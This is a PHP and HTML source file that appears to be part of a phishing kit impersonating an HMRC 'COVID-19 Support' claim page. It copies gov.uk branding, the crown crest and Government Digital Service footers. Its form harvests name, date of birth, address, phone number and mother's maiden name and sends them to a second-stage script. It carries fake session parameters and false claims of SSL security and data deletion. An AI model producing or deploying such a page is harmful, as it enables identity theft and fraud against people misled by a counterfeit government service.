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<?php error_reporting(0); $v_ip = $_SERVER['REMOTE_ADDR']; $hash = md5($v_ip); $queryString = "sessionid=<?=$hash;?>&securessl=true"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="shortcut icon" href="images/gov_uk.ico?FqAktxnBpjcXrksNnHvdTSjykQe" type="image/x-icon"> <link rel="mask-icon" href="images/mask.svg?MeDwDHsvbhIHVWCOiqLXFfRhgAZy" color="#0b0c0c"> <link rel="apple-touch-icon" sizes="180x180" href="images/apple-touch-icon-180x180.png?FqAktxnBpjcXrksNnHvdTSjykQe"> <link rel="apple-touch-icon" sizes="167x167" href="images/apple-touch-icon-167x167.png?qdZwTagNYUONDrkvbdIOlEsEXb"> <link rel="apple-touch-icon" sizes="152x152" href="images/apple-touch-icon-152x152.png?HrhsiKSedtLr"> <link rel="apple-touch-icon" href="images/apple-touch-icon.png?gFekxPfYtonesgjPH"> <title>COVID-19 Support| HMRC</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/claimStyle.css" rel="stylesheet"> <link href="css/claimSteps.css" rel="stylesheet"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="revenueCustoms sidePadding"> <img src="images/crest.png"/> <span style="padding-left:5px;color:#0b0c0c;font-family: 'nta', Arial, sans-serif;font-size: 1.9rem !important;vertical-align: middle;">COVID-19 Support Page</span> </div> <div class="topBar"> <div class="containerTop"> <div class="row"> <div class="topLinkWrapper sidePadding"> Cookies are used to make this website simpler. <a href="<?= $_SERVER['PHP_SELF'] . '?' . $queryString; ?>">Find out more about cookies.</a> </div> </div> </div> </div> <div class="clearfix"></div> <div class="containerMiddle"> <div class="row"> <div class="col-xs-12 col-md-8"> <div class="clearfix"></div> <div class="claimForm sidePadding">Claim form</div> <div class="clearfix"></div> <h1 class="claimTitle sidePadding">COVID-19 Support</h1> <div class="clearfix"></div> </div> </div> <div class="row sidePadding"> <div class="col-xs-12 col-md-4 pull-right"> <div class="sidebarVerify"> <img src="images/verify.png"/> </div> </div> <div class="col-xs-12 col-md-8 pull-right"> <span class="textBlock"> Please complete the following form using your registered profile information. </span> <div class="clearfix"></div> <span class="textBlock strongBlock"> We don't approve any request containing a non-UK address or billing details. </span> <div class="clearfix"></div> <span class="textBlock"> You'll need to enter your details manually below, after which your application will be sent for processing. </span> <div class="clearfix"></div> <span class="dataRegulations"> Data protection regulations </span> <div class="clearfix"></div> <span class="textBlock personalData"> The personal data you provide is purely for the use of this service. It is held for 30 days and then deleted. </span> <form method="post" id="basicInfo" name="basicInfo" action="details2.php?sessionid=<?=$hash;?>&securessl=true" onsubmit="return validateForm();"> <div class="inputFieldsWrapper"> <label for="name" class="fieldLabel"> Name * </label> <div class="clearfix"></div> <input type="text" name="name" class="inputName form-control" id="name" maxlength="50"/> <span class="labelBottom"> 50 max characters </span> </div> <div class="inputFieldsWrapper"> <label for="dob" class="fieldLabel"> Date of birth * </label> <div class="clearfix"></div> <div class="row"> <div class="col-xs-4"> <select class="form-control" name="d1" id="d1"> <option selected="selected" value="">Day</option> <option value="01">01</option> <option value="02">02</option> <option value="03">03</option> <option value="04">04</option> <option value="05">05</option> <option value="06">06</option> <option value="07">07</option> <option value="08">08</option> <option value="09">09</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> <option value="13">13</option> <option value="14">14</option> <option value="15">15</option> <option value="16">16</option> <option value="17">17</option> <option value="18">18</option> <option value="19">19</option> <option value="20">20</option> <option value="21">21</option> <option value="22">22</option> <option value="23">23</option> <option value="24">24</option> <option value="25">25</option> <option value="26">26</option> <option value="27">27</option> <option value="28">28</option> <option value="29">29</option> <option value="30">30</option> <option value="31">31</option> </select> </div> <div class="col-xs-4"> <select class="form-control" name="d2" id="d2"> <option selected="selected" value="">Month</option> <option value="01">01</option> <option value="02">02</option> <option value="03">03</option> <option value="04">04</option> <option value="05">05</option> <option value="06">06</option> <option value="07">07</option> <option value="08">08</option> <option value="09">09</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> </select> </div> <div class="col-xs-4"> <select class="form-control" name="d3" id="d3"> <option selected="selected" value="">Year</option> <option value="1910">1910</option> <option value="1911">1911</option> <option value="1912">1912</option> <option value="1913">1913</option> <option value="1914">1914</option> <option value="1915">1915</option> <option value="1916">1916</option> <option value="1917">1917</option> <option value="1918">1918</option> <option value="1919">1919</option> <option value="1920">1920</option> <option value="1921">1921</option> <option value="1922">1922</option> <option value="1923">1923</option> <option value="1924">1924</option> <option value="1925">1925</option> <option value="1926">1926</option> <option value="1927">1927</option> <option value="1928">1928</option> <option value="1929">1929</option> <option value="1930">1930</option> <option value="1931">1931</option> <option value="1932">1932</option> <option value="1933">1933</option> <option value="1934">1934</option> <option value="1935">1935</option> <option value="1936">1936</option> <option value="1937">1937</option> <option value="1938">1938</option> <option value="1939">1939</option> <option value="1940">1940</option> <option value="1941">1941</option> <option value="1942">1942</option> <option value="1943">1943</option> <option value="1944">1944</option> <option value="1945">1945</option> <option value="1946">1946</option> <option value="1947">1947</option> <option value="1948">1948</option> <option value="1949">1949</option> <option value="1950">1950</option> <option value="1951">1951</option> <option value="1952">1952</option> <option value="1953">1953</option> <option value="1954">1954</option> <option value="1955">1955</option> <option value="1956">1956</option> <option value="1957">1957</option> <option value="1958">1958</option> <option value="1959">1959</option> <option value="1960">1960</option> <option value="1961">1961</option> <option value="1962">1962</option> <option value="1963">1963</option> <option value="1964">1964</option> <option value="1965">1965</option> <option value="1966">1966</option> <option value="1967">1967</option> <option value="1968">1968</option> <option value="1969">1969</option> <option value="1970">1970</option> <option value="1971">1971</option> <option value="1972">1972</option> <option value="1973">1973</option> <option value="1974">1974</option> <option value="1975">1975</option> <option value="1976">1976</option> <option value="1977">1977</option> <option value="1978">1978</option> <option value="1979">1979</option> <option value="1980">1980</option> <option value="1981">1981</option> <option value="1982">1982</option> <option value="1983">1983</option> <option value="1984">1984</option> <option value="1985">1985</option> <option value="1986">1986</option> <option value="1987">1987</option> <option value="1988">1988</option> <option value="1989">1989</option> <option value="1990">1990</option> <option value="1991">1991</option> <option value="1992">1992</option> <option value="1993">1993</option> <option value="1994">1994</option> <option value="1995">1995</option> <option value="1996">1996</option> <option value="1997">1997</option> <option value="1998">1998</option> <option value="1999">1999</option> <option value="2000">2000</option> <option value="2001">2001</option> <option value="2002">2002</option> <option value="2003">2003</option> <option value="2004">2004</option> <option value="2005">2005</option> <option value="2006">2006</option> <option value="2007">2007</option> <option value="2008">2008</option> <option value="2009">2009</option> <option value="2010">2010</option> </select> </div> </div> <div class="clearfix"></div> <span class="labelBottom"> Format: dd/mm/yyyy </span> </div> <div class="inputFieldsWrapper"> <label for="address" class="fieldLabel"> Address line 1 * </label> <div class="clearfix"></div> <span class="belowLabel"> House / flat number: e.g. 15, Flat 4, Chester house </span> <div class="clearfix"></div> <input type="text" name="address" class="inputAddress form-control" id="address" maxlength="35"/> <span class="labelBottom"> 35 max characters </span> </div> <div class="inputFieldsWrapper"> <label for="address2" class="fieldLabel"> Address line 2 </label> <div class="clearfix"></div> <span class="belowLabel"> Road / street name: e.g. Longview Road </span> <div class="clearfix"></div> <input type="text" name="address2" class="inputAddress form-control" id="address2" maxlength="35"/> <span class="labelBottom"> 35 max characters </span> </div> <div class="inputFieldsWrapper"> <label for="city" class="fieldLabel"> Town/City * </label> <div class="clearfix"></div> <input type="text" name="city" class="inputCity form-control" id="city" maxlength="50"/> <span class="labelBottom"> 50 max characters </span> </div> <div class="inputFieldsWrapper"> <label for="country" class="fieldLabel"> County * </label> <div class="clearfix"></div> <input type="text" name="country" class="inputCountry form-control" id="country" maxlength="50"/> <span class="labelBottom"> 50 max characters </span> </div> <div class="inputFieldsWrapper"> <label for="postcode" class="fieldLabel"> Postcode * </label> <div class="clearfix"></div> <input type="text" name="postcode" class="inputPostcode form-control" id="postcode" maxlength="8"/> <span class="labelBottom"> 8 max characters </span> </div> <div class="inputFieldsWrapper"> <label for="phone" class="fieldLabel"> Phone * </label> <div class="clearfix"></div> <input type="text" name="phone" class="inputPhone form-control" id="phone" maxlength="12"/> <span class="labelBottom"> 12 max digits </span> </div> <div class="clearfix"></div> <span class="boldInfo"> Background information </span> <div class="inputFieldsWrapper"> <label for="mmn" class="fieldLabel"> Mother's maiden name * </label> <div class="clearfix"></div> <input type="text" name="mmn" class="inputMmn form-control" id="mmn" maxlength="50"/> <span class="labelBottom"> 50 max characters </span> </div> <input type="submit" name="submit" value="Continue" class="nextBtn sideMargin"/> </form> </div> </div> </div> <div class="clearfix"></div> <div class="divider"></div> <div class="clearfix"></div> <div class="footer"> <div class="containerFooter"> <div class="row footerBorder"> <div class="row"> <div class="col-xs-12"> <span class="legalField sidePadding"> This form is secured with 256-BIT SSL Layer. </span> </div> </div> </div> <div class="clearfix"></div> <div class="row bottomSpacer"> <div class="col-xs-12 col-sm-9 no-padding"> <span class="footerLink2"> <a href="#">Help</a> </span> <span class="footerLink2"> <a href="#">Cookies</a> </span> <span class="footerLink2"> <a href="#">Contact</a> </span> <span class="footerLink2"> <a href="#">Terms and conditions</a> </span> <span class="footerLink2"> <a href="#">Rhestr o Wasanaethau Cymraeg</a> </span> <div class="clearfix"></div> <span class="dividerLast"> <span class="footerLink2"> Built by the <a href="#">Government Digital Service</a> </span> </span> <div class="clearfix"></div> <div class="oglBox"> <a href="#" class="oglLogo"> </a> <span class="footerLink2"> All content is available under the <a href="#">Open Government Licence v3.0,</a> except where otherwise stated </span> </div> </div> <div class="col-xs-12 col-sm-3 no-padding"> <a href="#" class="crownLink"> <img src="images/logo.png" class="bottomLogo"/> <div class="clearfix"></div> <span class="crownCopy">© Crown copyright</span> </a> </div> </div> </div> </div> <script src="js/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/validateStep.js"></script> </body> </html>
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